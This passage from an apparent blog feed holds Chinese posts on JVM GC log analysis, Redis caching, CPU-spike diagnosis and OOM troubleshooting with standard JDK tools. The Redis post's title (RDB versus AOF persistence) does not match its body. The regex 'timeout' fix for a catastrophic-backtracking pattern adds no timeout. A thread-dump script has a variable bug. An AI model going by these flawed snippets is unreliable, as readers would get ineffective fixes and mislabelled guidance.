0.234ms</span><br><span class="line">[2024-06-12T10:30:00.018+0800] [gc,phases] GC(100) Pause Relocate Start 0.004ms</span><br><span class="line">[2024-06-12T10:30:00.025+0800] [gc,phases] GC(100) Concurrent Relocate 6.789ms</span><br><span class="line">[2024-06-12T10:30:00.025+0800] [gc       ] GC(100) Garbage Collection (Proactive) 800M(1000M)-&gt;200M(1000M) 2.3M-&gt;1.2M(64M) 0.005ms</span><br></pre></td></tr></table></figure><p><strong>ZGC 特点</strong>：</p><ul><li>只有 Pause Mark Start/End 和 Pause Relocate Start 是 STW</li><li>每次 STW 通常 &lt; 1ms</li><li>主要看 Concurrent 阶段耗时</li></ul><h2 id="日志分析工具"><a href="#日志分析工具" class="headerlink" title="日志分析工具"></a>日志分析工具</h2><p>#</p><h2 id="1-GCViewer"><a href="#1-GCViewer" class="headerlink" title="1. GCViewer"></a>1. GCViewer</h2><p>开源 GC 日志可视化工具：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">java -jar gcviewer.jar gc.log</span><br></pre></td></tr></table></figure><p><strong>功能</strong>：</p><ul><li>吞吐量、停顿时间图表</li><li>内存使用趋势</li><li>统计报告</li></ul><p>#</p><h2 id="2-gceasy-io"><a href="#2-gceasy-io" class="headerlink" title="2. gceasy.io"></a>2. gceasy.io</h2><p>在线 GC 日志分析：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">上传 gc.log -&gt; 自动生成报告</span><br></pre></td></tr></table></figure><p><strong>报告内容</strong>：</p><ul><li>JVM 内存大小</li><li>关键性能指标</li><li>GC 原因分析</li><li>优化建议</li></ul><p>#</p><h2 id="3-GCPlot"><a href="#3-GCPlot" class="headerlink" title="3. GCPlot"></a>3. GCPlot</h2><p>另一在线分析工具，支持多种 GC 类型。</p><h2 id="关键指标"><a href="#关键指标" class="headerlink" title="关键指标"></a>关键指标</h2><table><thead><tr><th>指标</th><th>健康范围</th><th>说明</th></tr></thead><tbody><tr><td>吞吐量</td><td>&gt; 95%</td><td>用户代码时间 / 总时间</td></tr><tr><td>GC 停顿</td><td>&lt; 200ms (G1)</td><td>最大停顿时间</td></tr><tr><td>Young GC 频率</td><td>&lt; 1次/秒</td><td>过于频繁说明年轻代太小</td></tr><tr><td>Full GC 频率</td><td>&lt; 1次/小时</td><td>频繁 Full GC 需要关注</td></tr><tr><td>堆使用率</td><td>&lt; 70%</td><td>留出增长空间</td></tr><tr><td>晋升失败</td><td>0</td><td>Evacuation Failure 需要解决</td></tr></tbody></table><h2 id="调优决策"><a href="#调优决策" class="headerlink" title="调优决策"></a>调优决策</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Young GC 频繁</span><br><span class="line">    ├── 停顿时间短 (&lt; 50ms) -&gt; 增大 Eden 区</span><br><span class="line">    └── 停顿时间长 (&gt; 200ms) -&gt; 检查大对象、增大 Region</span><br><span class="line"></span><br><span class="line">Full GC 频繁</span><br><span class="line">    ├── 内存泄漏 -&gt; MAT 分析 heap dump</span><br><span class="line">    ├── 堆太小 -&gt; 增大 Xmx</span><br><span class="line">    └── 对象过早晋升 -&gt; 增大 Survivor 区、提高 TenuringThreshold</span><br><span class="line"></span><br><span class="line">GC 停顿过长</span><br><span class="line">    ├── G1 -&gt; 降低 MaxGCPauseMillis 或换 ZGC</span><br><span class="line">    ├── CMS -&gt; 升级 G1 或 ZGC</span><br><span class="line">    └── Parallel -&gt; 换 G1</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>收集器</th><th>关注重点</th></tr></thead><tbody><tr><td>G1</td><td>Evacuation Pause 时间、Mixed GC 频率、Region 数量</td></tr><tr><td>ZGC</td><td>Pause Mark/Relocate 时间、并发阶段耗时</td></tr><tr><td>CMS</td><td>Concurrent Mode Failure、Promotion Failed</td></tr></tbody></table><p>GC 日志分析的核心：<strong>先看停顿时间是否达标，再看 GC 频率是否合理，最后分析 GC 原因</strong>。善用可视化工具，可以大幅提升分析效率。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>关注 Minor GC 和 Full GC 的频率和耗时</p></li><li><p>年轻代晋升到老年代的对象大小和频率</p></li><li><p>GC 前后的内存使用变化</p></li><li><p>使用 jstat、jmap、jvisualvm 等工具辅助分析</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 持久化 RDB 和 AOF 怎么选</title>
      <link href="//redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/"/>
      <url>//redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-持久化-RDB-和-AOF-怎么选"><a href="#Redis-持久化-RDB-和-AOF-怎么选" class="headerlink" title="Redis 持久化 RDB 和 AOF 怎么选"></a>Redis 持久化 RDB 和 AOF 怎么选</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="先明确-Redis-在系统里的角色"><a href="#先明确-Redis-在系统里的角色" class="headerlink" title="先明确 Redis 在系统里的角色"></a>先明确 Redis 在系统里的角色</h2><p>Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？</p><h2 id="一个缓存查询的基本写法"><a href="#一个缓存查询的基本写法" class="headerlink" title="一个缓存查询的基本写法"></a>一个缓存查询的基本写法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;user:&quot;</span> + userId;</span><br><span class="line"><span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> redisTemplate.opsForValue().get(key);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> user;</span><br><span class="line">&#125;</span><br><span class="line">user = userMapper.selectById(userId);</span><br><span class="line"><span class="keyword">if</span> (user != <span class="literal">null</span>) &#123;</span><br><span class="line">    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(<span class="number">30</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> user;</span><br></pre></td></tr></table></figure><p>这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。</p><h2 id="三个常见问题"><a href="#三个常见问题" class="headerlink" title="三个常见问题"></a>三个常见问题</h2><ul><li>穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。</li><li>击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。</li><li>雪崩：大量 key 同时过期，可以给过期时间增加随机值。</li></ul><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>本地可以先用 <code>redis-cli</code> 查看 key：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">redis-cli</span><br><span class="line">GET user:1001</span><br><span class="line">TTL user:1001</span><br></pre></td></tr></table></figure><p>确认缓存写入、过期时间和删除策略都符合预期。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>线上CPU飙高如何定位Java问题</title>
      <link href="//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/"/>
      <url>//xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="线上CPU飙高如何定位Java问题"><a href="#线上CPU飙高如何定位Java问题" class="headerlink" title="线上CPU飙高如何定位Java问题"></a>线上CPU飙高如何定位Java问题</h1><p>CPU 飙高是线上 Java 应用常见的问题之一。本文总结一套完整的排查流程和常见原因。</p><h2 id="排查流程"><a href="#排查流程" class="headerlink" title="排查流程"></a>排查流程</h2><h3 id="步骤1：确认是-Java-进程"><a href="#步骤1：确认是-Java-进程" class="headerlink" title="步骤1：确认是 Java 进程"></a>步骤1：确认是 Java 进程</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看CPU使用率最高的进程</span></span><br><span class="line">top -c -p $(pgrep java | <span class="built_in">tr</span> <span class="string">&#x27;\n&#x27;</span> <span class="string">&#x27;,&#x27;</span> | sed <span class="string">&#x27;s/,$//&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 或</span></span><br><span class="line">top -Hp &lt;pid&gt;  <span class="comment"># 查看线程级CPU</span></span><br></pre></td></tr></table></figure><h3 id="步骤2：找到消耗-CPU-的线程"><a href="#步骤2：找到消耗-CPU-的线程" class="headerlink" title="步骤2：找到消耗 CPU 的线程"></a>步骤2：找到消耗 CPU 的线程</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 方法1：使用 top</span></span><br><span class="line"><span class="built_in">printf</span> <span class="string">&quot;%x\n&quot;</span> &lt;tid&gt;  <span class="comment"># 将线程ID转为16进制</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 方法2：使用 pidstat</span></span><br><span class="line">pidstat -u -p &lt;pid&gt; 1 10  <span class="comment"># 每秒采样，共10次</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 方法3：使用 ps</span></span><br><span class="line">ps -mp &lt;pid&gt; -o THREAD,tid,<span class="keyword">time</span> | <span class="built_in">sort</span> -rn | <span class="built_in">head</span> -20</span><br></pre></td></tr></table></figure><h3 id="步骤3：打印线程堆栈"><a href="#步骤3：打印线程堆栈" class="headerlink" title="步骤3：打印线程堆栈"></a>步骤3：打印线程堆栈</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 获取所有线程堆栈</span></span><br><span class="line">jstack -l &lt;pid&gt; &gt; thread_dump.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查找16进制线程ID</span></span><br><span class="line">grep -A 50 <span class="string">&quot;nid=0x&lt;hex_tid&gt;&quot;</span> thread_dump.txt</span><br></pre></td></tr></table></figure><h3 id="步骤4：分析堆栈"><a href="#步骤4：分析堆栈" class="headerlink" title="步骤4：分析堆栈"></a>步骤4：分析堆栈</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 快速定位：统计各状态的线程数</span></span><br><span class="line">jstack &lt;pid&gt; | grep <span class="string">&quot;java.lang.Thread.State&quot;</span> | <span class="built_in">sort</span> | <span class="built_in">uniq</span> -c | <span class="built_in">sort</span> -rn</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查找 RUNNABLE 的线程</span></span><br><span class="line">jstack &lt;pid&gt; | grep -A 1 <span class="string">&quot;java.lang.Thread.State: RUNNABLE&quot;</span> | grep -v <span class="string">&quot;State&quot;</span></span><br></pre></td></tr></table></figure><h2 id="常见原因"><a href="#常见原因" class="headerlink" title="常见原因"></a>常见原因</h2><h3 id="原因1：死循环"><a href="#原因1：死循环" class="headerlink" title="原因1：死循环"></a>原因1：死循环</h3><p><strong>堆栈特征</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&quot;pool-1-thread-1&quot; #12 prio=5 os_prio=0 cpu=12345678.90ms elapsed=120.00s tid=0x00007f123456 nid=0x1234 runnable [0x00007f1234567000]</span><br><span class="line">   java.lang.Thread.State: RUNNABLE</span><br><span class="line">        at com.example.BadCode.process(BadCode.java:25)</span><br><span class="line">        at com.example.BadCode.run(BadCode.java:18)</span><br></pre></td></tr></table></figure><p><strong>代码示例</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">process</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">while</span> (<span class="literal">true</span>) &#123;  <span class="comment">// 缺少退出条件</span></span><br><span class="line">        doSomething();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>解决</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">process</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">while</span> (running) &#123;  <span class="comment">// 使用标志位控制</span></span><br><span class="line">        doSomething();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="原因2：正则表达式回溯"><a href="#原因2：正则表达式回溯" class="headerlink" title="原因2：正则表达式回溯"></a>原因2：正则表达式回溯</h3><p><strong>堆栈特征</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">java.lang.Thread.State: RUNNABLE</span><br><span class="line">        at java.util.regex.Pattern$GroupHead.match(Pattern.java:xxx)</span><br><span class="line">        at java.util.regex.Pattern$Loop.match(Pattern.java:xxx)</span><br></pre></td></tr></table></figure><p><strong>代码示例</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 灾难性回溯</span></span><br><span class="line"><span class="type">String</span> <span class="variable">regex</span> <span class="operator">=</span> <span class="string">&quot;(a+)+b&quot;</span>;</span><br><span class="line">Pattern.compile(regex).matcher(<span class="string">&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac&quot;</span>).matches();</span><br></pre></td></tr></table></figure><p><strong>解决</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用预编译 + 超时控制</span></span><br><span class="line"><span class="type">Pattern</span> <span class="variable">pattern</span> <span class="operator">=</span> Pattern.compile(regex);</span><br><span class="line"><span class="type">Matcher</span> <span class="variable">matcher</span> <span class="operator">=</span> pattern.matcher(input);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Java 9+ 支持</span></span><br><span class="line"><span class="keyword">if</span> (!matcher.matches()) &#123;  <span class="comment">// 或使用 RE2/J 等安全正则库</span></span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="原因3：频繁-GC"><a href="#原因3：频繁-GC" class="headerlink" title="原因3：频繁 GC"></a>原因3：频繁 GC</h3><p><strong>堆栈特征</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&quot;GC Thread#1&quot; os_prio=0 cpu=5678.90ms</span><br><span class="line">&quot;G1 Main Marker&quot; os_prio=0 cpu=1234.56ms</span><br></pre></td></tr></table></figure><p><strong>排查</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看GC情况</span></span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果YGCT/FGCT很高，说明GC频繁</span></span><br></pre></td></tr></table></figure><p><strong>解决</strong>：</p><ul><li>增大堆内存</li><li>优化对象创建</li><li>检查内存泄漏</li></ul><h3 id="原因4：计算密集型任务"><a href="#原因4：计算密集型任务" class="headerlink" title="原因4：计算密集型任务"></a>原因4：计算密集型任务</h3><p><strong>堆栈特征</strong>：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">java.lang.Thread.State: RUNNABLE</span><br><span class="line">        at com.example.Calculation.heavyCompute(Calculation.java:45)</span><br><span class="line">        at java.math.BigInteger.multiply(BigInteger.java:xxx)</span><br></pre></td></tr></table></figure><p><strong>解决</strong>：</p><ul><li>异步处理</li><li>限流</li><li>分布式计算</li></ul><h3 id="原因5：频繁线程上下文切换"><a href="#原因5：频繁线程上下文切换" class="headerlink" title="原因5：频繁线程上下文切换"></a>原因5：频繁线程上下文切换</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看上下文切换</span></span><br><span class="line">pidstat -w -p &lt;pid&gt; 1 10</span><br><span class="line"></span><br><span class="line"><span class="comment"># vmstat 查看系统整体</span></span><br><span class="line">vmstat 1 10</span><br></pre></td></tr></table></figure><p><strong>原因</strong>：</p><ul><li>锁竞争激烈</li><li>线程数过多</li><li>IO 阻塞后唤醒</li></ul><p><strong>解决</strong>：</p><ul><li>减少锁粒度</li><li>使用 CAS 替代锁</li><li>控制线程数</li></ul><h2 id="使用-Arthas-快速定位"><a href="#使用-Arthas-快速定位" class="headerlink" title="使用 Arthas 快速定位"></a>使用 Arthas 快速定位</h2><h3 id="thread-命令"><a href="#thread-命令" class="headerlink" title="thread 命令"></a>thread 命令</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看最忙的线程</span></span><br><span class="line">thread -n 5</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看指定线程</span></span><br><span class="line">thread &lt;tid&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看所有线程</span></span><br><span class="line">thread --all</span><br></pre></td></tr></table></figure><h3 id="profiler-命令"><a href="#profiler-命令" class="headerlink" title="profiler 命令"></a>profiler 命令</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># CPU 火焰图</span></span><br><span class="line">profiler start</span><br><span class="line">profiler stop --file /tmp/cpu.html</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看热点方法</span></span><br><span class="line">profiler start --event cpu</span><br><span class="line">profiler stop</span><br></pre></td></tr></table></figure><h2 id="完整排查脚本"><a href="#完整排查脚本" class="headerlink" title="完整排查脚本"></a>完整排查脚本</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="comment"># cpu_high.sh</span></span><br><span class="line"></span><br><span class="line">PID=<span class="variable">$1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ -z <span class="string">&quot;<span class="variable">$PID</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;Usage: <span class="variable">$0</span> &lt;pid&gt;&quot;</span></span><br><span class="line">    <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;=== 进程信息 ===&quot;</span></span><br><span class="line">ps -fp <span class="variable">$PID</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;=== CPU 最高的线程 ===&quot;</span></span><br><span class="line">top -Hp <span class="variable">$PID</span> -bn1 | <span class="built_in">head</span> -20</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;=== 线程转储 ===&quot;</span></span><br><span class="line">jstack <span class="variable">$PID</span> &gt; /tmp/jstack_$PID_$(<span class="built_in">date</span> +%Y%m%d_%H%M%S).txt</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;线程转储已保存&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;=== GC 统计 ===&quot;</span></span><br><span class="line">jstat -gcutil <span class="variable">$PID</span> 1 5</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;=== 内存使用 ===&quot;</span></span><br><span class="line">jmap -heap <span class="variable">$PID</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;=== 完成 ===&quot;</span></span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>现象</th><th>可能原因</th><th>排查命令</th></tr></thead><tbody><tr><td>CPU 100%，部分线程 RUNNABLE</td><td>死循环</td><td>jstack + 找 RUNNABLE</td></tr><tr><td>CPU 高，regex 相关堆栈</td><td>正则回溯</td><td>检查正则表达式</td></tr><tr><td>CPU 高，GC 线程活跃</td><td>GC 频繁</td><td>jstat -gcutil</td></tr><tr><td>CPU 波动大</td><td>线程切换多</td><td>pidstat -w</td></tr><tr><td>CPU 持续高，计算相关</td><td>计算密集型</td><td>thread -n 5</td></tr></tbody></table><p>CPU 问题排查的核心思路：<strong>找到高 CPU 线程 -&gt; 打印堆栈 -&gt; 分析代码 -&gt; 定位热点</strong>。Arthas 等工具可以大大简化这一过程。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>内存溢出和内存泄漏排查流程</title>
      <link href="//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/"/>
      <url>//nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="内存溢出和内存泄漏排查流程"><a href="#内存溢出和内存泄漏排查流程" class="headerlink" title="内存溢出和内存泄漏排查流程"></a>内存溢出和内存泄漏排查流程</h1><p>OutOfMemoryError（OOM）是 Java 应用最常见的严重问题之一。本文系统总结各类 OOM 的排查流程。</p><h2 id="OOM-类型与原因"><a href="#OOM-类型与原因" class="headerlink" title="OOM 类型与原因"></a>OOM 类型与原因</h2><table><thead><tr><th>错误信息</th><th>发生区域</th><th>常见原因</th></tr></thead><tbody><tr><td>Java heap space</td><td>堆内存</td><td>对象过多、内存泄漏</td></tr><tr><td>GC overhead limit exceeded</td><td>堆内存</td><td>GC效率过低</td></tr><tr><td>Metaspace</td><td>元空间</td><td>类加载过多</td></tr><tr><td>Unable to create new native thread</td><td>虚拟机栈</td><td>线程过多</td></tr><tr><td>Direct buffer memory</td><td>直接内存</td><td>NIO使用不当</td></tr><tr><td>Requested array size exceeds VM limit</td><td>堆内存</td><td>数组过大</td></tr></tbody></table><h2 id="排查工具"><a href="#排查工具" class="headerlink" title="排查工具"></a>排查工具</h2><h3 id="1-jmap：生成堆-dump"><a href="#1-jmap：生成堆-dump" class="headerlink" title="1. jmap：生成堆 dump"></a>1. jmap：生成堆 dump</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 生成堆内存快照</span></span><br><span class="line">jmap -dump:format=b,file=heap.hprof &lt;pid&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 只 dump 存活对象</span></span><br><span class="line">jmap -dump:live,format=b,file=heap.hprof &lt;pid&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看堆概要</span></span><br><span class="line">jmap -heap &lt;pid&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看 histogram</span></span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -20</span><br></pre></td></tr></table></figure><h3 id="2-jstat：监控-GC"><a href="#2-jstat：监控-GC" class="headerlink" title="2. jstat：监控 GC"></a>2. jstat：监控 GC</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 每5秒输出一次，共10次</span></span><br><span class="line">jstat -gcutil &lt;pid&gt; 5000 10</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出说明</span></span><br><span class="line">S0     S1     E      O      M     CCS    YGC     YGCT    FGC    FGCT     GCT</span><br><span class="line">0.00  50.00  20.00  60.00  95.00  90.00   100    5.000     5    15.000   20.000</span><br></pre></td></tr></table></figure><h3 id="3-MAT（Memory-Analyzer-Tool）"><a href="#3-MAT（Memory-Analyzer-Tool）" class="headerlink" title="3. MAT（Memory Analyzer Tool）"></a>3. MAT（Memory Analyzer Tool）</h3><p>Eclipse 开源的堆分析工具：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. 打开 heap.hprof</span><br><span class="line">2. 运行 Leak Suspects Report</span><br><span class="line">3. 查看 Dominator Tree</span><br><span class="line">4. 分析 Path to GC Roots</span><br></pre></td></tr></table></figure><h3 id="4-Arthas"><a href="#4-Arthas" class="headerlink" title="4. Arthas"></a>4. Arthas</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看内存使用</span></span><br><span class="line">memory</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看大对象</span></span><br><span class="line">vmtool --action getInstances --className java.lang.String --<span class="built_in">limit</span> 10</span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成堆 dump</span></span><br><span class="line">heapdump /tmp/dump.hprof</span><br></pre></td></tr></table></figure><h2 id="堆内存溢出排查"><a href="#堆内存溢出排查" class="headerlink" title="堆内存溢出排查"></a>堆内存溢出排查</h2><h3 id="步骤1：确认-OOM-类型"><a href="#步骤1：确认-OOM-类型" class="headerlink" title="步骤1：确认 OOM 类型"></a>步骤1：确认 OOM 类型</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">java.lang.OutOfMemoryError: Java heap space</span><br></pre></td></tr></table></figure><h3 id="步骤2：获取堆-dump"><a href="#步骤2：获取堆-dump" class="headerlink" title="步骤2：获取堆 dump"></a>步骤2：获取堆 dump</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 自动配置</span></span><br><span class="line">-XX:+HeapDumpOnOutOfMemoryError</span><br><span class="line">-XX:HeapDumpPath=/var/log/app/</span><br><span class="line"></span><br><span class="line"><span class="comment"># 手动获取</span></span><br><span class="line">jmap -dump:live,format=b,file=heap.hprof &lt;pid&gt;</span><br></pre></td></tr></table></figure><h3 id="步骤3：MAT-分析"><a href="#步骤3：MAT-分析" class="headerlink" title="步骤3：MAT 分析"></a>步骤3：MAT 分析</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. 打开 heap.hprof</span><br><span class="line">2. 查看 Leak Suspects</span><br><span class="line">3. 找到占用最大的对象</span><br><span class="line">4. 查看 Dominator Tree</span><br><span class="line">5. 分析引用链（Path to GC Roots）</span><br></pre></td></tr></table></figure><h3 id="步骤4：常见原因"><a href="#步骤4：常见原因" class="headerlink" title="步骤4：常见原因"></a>步骤4：常见原因</h3><p><strong>原因1：内存泄漏</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 例子：静态集合持有对象引用</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Cache</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> Map&lt;String, Object&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">(String key, Object value)</span> &#123;</span><br><span class="line">        map.put(key, value);  <span class="comment">// 只添加不删除！</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>原因2：大对象</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 一次性加载大量数据到内存</span></span><br><span class="line">List&lt;User&gt; allUsers = userDao.findAll();  <span class="comment">// 百万级数据</span></span><br></pre></td></tr></table></figure><p><strong>原因3：内存设置过小</strong></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 容器限制了内存，但 JVM 不知道</span></span><br><span class="line">-Xmx1g  <span class="comment"># 容器只给 1GB</span></span><br></pre></td></tr></table></figure><h2 id="元空间溢出排查"><a href="#元空间溢出排查" class="headerlink" title="元空间溢出排查"></a>元空间溢出排查</h2><h3 id="现象"><a href="#现象" class="headerlink" title="现象"></a>现象</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">java.lang.OutOfMemoryError: Metaspace</span><br></pre></td></tr></table></figure><h3 id="原因"><a href="#原因" class="headerlink" title="原因"></a>原因</h3><ol><li><strong>动态生成类过多</strong>（CGLIB、反射）</li><li><strong>OSGi 频繁部署/卸载 Bundle</strong></li><li><strong>类加载器泄漏</strong></li></ol><h3 id="排查"><a href="#排查" class="headerlink" title="排查"></a>排查</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看类加载情况</span></span><br><span class="line">jstat -class &lt;pid&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看加载的类</span></span><br><span class="line">jcmd &lt;pid&gt; VM.classloader_stats</span><br></pre></td></tr></table></figure><h3 id="解决"><a href="#解决" class="headerlink" title="解决"></a>解决</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 增大元空间</span></span><br><span class="line">-XX:MaxMetaspaceSize=512m</span><br><span class="line"></span><br><span class="line"><span class="comment"># 代码优化：减少动态代理、使用单例 Enhancer</span></span><br></pre></td></tr></table></figure><h2 id="线程过多导致-OOM"><a href="#线程过多导致-OOM" class="headerlink" title="线程过多导致 OOM"></a>线程过多导致 OOM</h2><h3 id="现象-1"><a href="#现象-1" class="headerlink" title="现象"></a>现象</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">java.lang.OutOfMemoryError: Unable to create new native thread</span><br></pre></td></tr></table></figure><h3 id="原因-1"><a href="#原因-1" class="headerlink" 